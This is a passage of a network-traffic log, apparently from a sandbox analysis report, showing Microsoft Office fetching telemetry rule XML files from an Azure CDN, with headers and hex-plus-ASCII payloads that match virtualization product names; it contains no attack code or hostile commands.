22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013425Z-16547b76f7fz92z5hC1DFWmdx800000003e00000000089dr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013425Z-16547b76f7fsq6p7hC1DFWfx6800000003ng000000004183 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013425Z-16547b76f7ftnm6xhC1DFW9c8c00000004n000000000pmm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:25 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013425Z-1866b5c5fbblmqrkhC1DFWf9ns000000037000000000agut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:25 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:25 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013425Z-16547b76f7fbkfmzhC1DFWm9tw00000004mg00000000tut8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:25 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:26 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013426Z-16547b76f7fbkfmzhC1DFWm9tw00000004ng00000000rupz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:26 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb1a68b3-601e-0001-569b-38faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013426Z-1866b5c5fbbxjblthC1DFW6b48000000030000000000hsz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:26 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013426Z-1866b5c5fbb7km9phC1DFWr2sc00000003vg00000000ky0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:26 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 416d43dc-f01e-003f-18d2-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013426Z-1866b5c5fbblmqrkhC1DFWf9ns000000035g00000000f1pc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:26 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:26 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013426Z-1866b5c5fbb5hnj5hC1DFW18sc000000057000000000hhz8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:26 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:27 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013427Z-164f84587bfrrmqdhC1DFWvu6s00000003q000000000g742 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:27 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:27 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013427Z-16547b76f7fbkfmzhC1DFWm9tw00000004p000000000p2be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
